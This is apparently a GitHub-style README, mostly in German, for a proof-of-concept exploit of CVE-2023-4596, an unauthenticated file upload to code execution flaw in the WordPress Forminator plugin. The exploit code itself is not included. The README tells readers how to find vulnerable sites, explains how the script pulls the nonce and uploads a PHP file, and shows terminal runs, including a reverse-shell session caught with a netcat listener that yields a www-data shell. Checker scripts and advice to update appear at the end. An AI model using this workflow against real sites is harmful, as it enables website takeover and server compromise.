
PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.
PoC-Skript für CVE-2023-4596, nicht authentifizierte Remote-Befehlsausführung durch beliebige Datei-Uploads.
Video des verwendeten PoC
Nuclei-Vorlage
Nachrichtenartikel
WordFence
NVD Nist
Im WordPress-Plugin Forminator wurde eine kritische Schwachstelle entdeckt, die es einem nicht autorisierten Angreifer ermöglicht, beliebige Dateien auf einen Server hochzuladen. Der ursprüngliche Proof of Concept (PoC) war schlecht geschrieben; der ursprüngliche Forscher teilte ein paar unklare Screenshots zusammen mit einer Anfrage mit unerklärtem Code. Deshalb habe ich ein Python-Skript geschrieben, um den Prozess zu vereinfachen und zu automatisieren.
Die Schwachstelle wird durch einen Fehler im Validierungsprozess für Dateitypen verursacht. Beim Versuch, ein verbotenes Dateiformat wie PHP hochzuladen, wird ein Hinweis ausgegeben, dass die „Uploaded file's extension is not allowed." Trotz dieser Benachrichtigung wird die hochgeladene Datei nicht blockiert, sondern erfolgreich hochgeladen und kann im Ordner „/wp-content/uploads" der Website abgerufen werden. Diese Schwachstelle kann zu Remote-Codeausführung führen.
Forminator ist derzeit auf mehr als 400.000 Websites aktiv, und aufgrund der Einfachheit der Schwachstelle ist es recht einfach, die Kontrolle über jede Website zu erlangen, die Forminator mit aktiviertem Datei-Upload ausführt.
Finde eine Seite, die Forminator <= 1.24.6 mit einer Upload-Funktion auf der Seite ausführt. Kopiere die vollständige URL der Seite, die Datei-Upload-Postdata mit Forminator ausführt; wenn nur die Domain angegeben wird, wird ein Fehler ausgegeben. Du kannst interactsh oder Burp Collaborator verwenden, um einen Link zu erzeugen, den du in das ausgewählte Feld einfügst. Nach einem erfolgreichen Upload sollte innerhalb von 5 Sekunden eine Anfrage in interactsh oder Burp erscheinen, was darauf hinweist, dass die Instanz verwundbar ist.
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Input out-of-band link: <input link>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Vulnerable version found: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Enter IP address: <input IP>
Enter port: <input port>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Das Skript benötigt lediglich eine vollständige URL einer Seite, die Forminator mit aktivierten Datei-Uploads verwendet, sowie einen interactsh-Link, um festzustellen, ob die Instanz verwundbar ist. Die erste Anfrage wird an die Seite gesendet, um die forminator_nonce und form_id zu extrahieren, also Werte, die für jede Seite unterschiedlich sind. Nachdem diese Werte abgerufen wurden, wird eine zweite Anfrage gesendet, die diese extrahierten Werte verwendet, und die PHP-Datei wird hochgeladen. Diese PHP-Datei verwendet den zuvor vom Benutzer angegebenen interactsh-Link und bettet ihn in das Skript ein. Wenn die Seite aufgerufen wird, auf der sich das PHP-Skript befindet, erscheint eine Anfrage in interactsh, die anzeigt, dass die Website verwundbar ist. Regex wird verwendet, um die URL in Teile zu zerlegen, die später in der Anfrage verwendet werden; außerdem wird damit die Version von Forminator ermittelt, die bei Verwendung des Arguments -v ausgegeben wird. Der Speicherort, an dem die Datei hochgeladen wird, hängt davon ab, in welchem Jahr und Monat die Datei hochgeladen wird. Deshalb habe ich datetime verwendet, um den aktuellen Monat und das aktuelle Jahr zu bestimmen, was später auch dazu dient, die Anfrage an den Speicherort der hochgeladenen Datei zu senden. Als ich die Schwachstelle getestet habe, habe ich einen einzelnen Dateinamen verwendet, aber nach dem Senden mehrerer Dateien stellte ich fest, dass nur die erste hochgeladene Datei startete. Um das zu beheben, wird für jede Anfrage ein zufälliger String verwendet.
[-] Could not extract forminator_nonce
Dieser Exploit funktioniert nur, wenn ein Link zu der genauen Seite angegeben wird, auf der der Datei-Upload mit Forminator aktiviert ist. Wenn nur die Domain oder eine Seite ohne Datei-Upload angegeben wird, wird ein Fehler ausgegeben. Das liegt daran, dass die forminator_nonce aus der angegebenen URL extrahiert wird; wenn diese Seite nicht Forminator oder den Forminator-Datei-Upload ausführt, kann der Wert nicht gefunden und nicht verwendet werden. Du kannst dies auch überprüfen, indem du im Quellcode der Website nach dem String "forminator-field-post-image-postdata" suchst. Ein vollständiger Link sieht zum Beispiel so aus: http://127.0.0.1:8000/?p=7. Den vollständigen Issue findest du hier.
Ich habe zwei Dateien (checker.sh und checker.bat) ins Repository aufgenommen, die den aktuellen Ordner und Unterordner nach Dateien mit einer blockierten Erweiterung durchsuchen. Werden solche gefunden, werden sie angezeigt. Der Grund für dieses Skript ist, dass für jeden Monat, in dem das Plugin installiert ist, ein neuer Ordner erstellt wird, was eine manuelle Prüfung aller Ordner sehr aufwendig machen kann.
Auf die neueste Version aktualisieren
http://127.0.0.1:8000 im BrowserDas bereitgestellte Skript dient nur zu Bildungszwecken; ich bin nicht für deine Handlungen verantwortlich.
Twitter
Erstellt von Finn van der Knaap